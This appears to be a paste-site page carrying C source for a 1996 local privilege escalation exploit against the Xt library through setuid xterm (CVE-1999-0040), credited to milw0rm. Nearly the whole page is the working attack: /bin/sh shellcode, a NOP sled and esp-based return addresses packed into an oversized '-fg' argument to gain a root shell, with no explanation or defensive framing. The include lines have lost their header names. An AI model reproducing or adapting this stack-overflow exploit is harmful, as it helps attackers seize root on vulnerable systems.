Xt Library - Local Privilege Escalation- CVE-1999-0040


SUBMITTED BY: FlyFar

DATE: May 16, 2024, 3:50 a.m.

FORMAT: C

SIZE: 1.4 kB

HITS: 441

  1. #include
  2. #include
  3. #include
  4. #define DEFAULT_OFFSET 0
  5. #define BUFFER_SIZE 1491
  6. long get_esp(void)
  7. {
  8. __asm__("movl %esp,%eax\n");
  9. }
  10. main(int argc, char **argv)
  11. {
  12. char *buff = NULL;
  13. unsigned long *addr_ptr = NULL;
  14. char *ptr = NULL;
  15. char execshell[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2"
  16. "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0"
  17. "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50"
  18. "\xeb\x18"
  19. "\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02"
  20. "\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04";
  21. int i, ofs=DEFAULT_OFFSET, bs=BUFFER_SIZE;
  22. if(argc>1)
  23. ofs=atoi(argv[1]);
  24. if(argc>2)
  25. bs=atoi(argv[2]);
  26. printf("Using offset of esp + %d (%x)\nBuffer size %d\n",
  27. ofs, get_esp()+ofs, bs);
  28. buff = malloc(4096);
  29. if(!buff)
  30. {
  31. printf("can't allocate memory\n");
  32. exit(0);
  33. }
  34. ptr = buff;
  35. memset(ptr, 0x90, bs-strlen(execshell));
  36. ptr += bs-strlen(execshell);
  37. for(i=0;i < strlen(execshell);i++)
  38. *(ptr++) = execshell[i];
  39. addr_ptr = (long *)ptr;
  40. for(i=0;i < (8/4);i++)
  41. *(addr_ptr++) = get_esp() + ofs;
  42. ptr = (char *)addr_ptr;
  43. *ptr = 0;
  44. execl("/usr/X11R6/bin/xterm", "xterm", "-fg", buff, NULL);
  45. }
  46. // milw0rm.com [1996-08-24]

comments powered by Disqus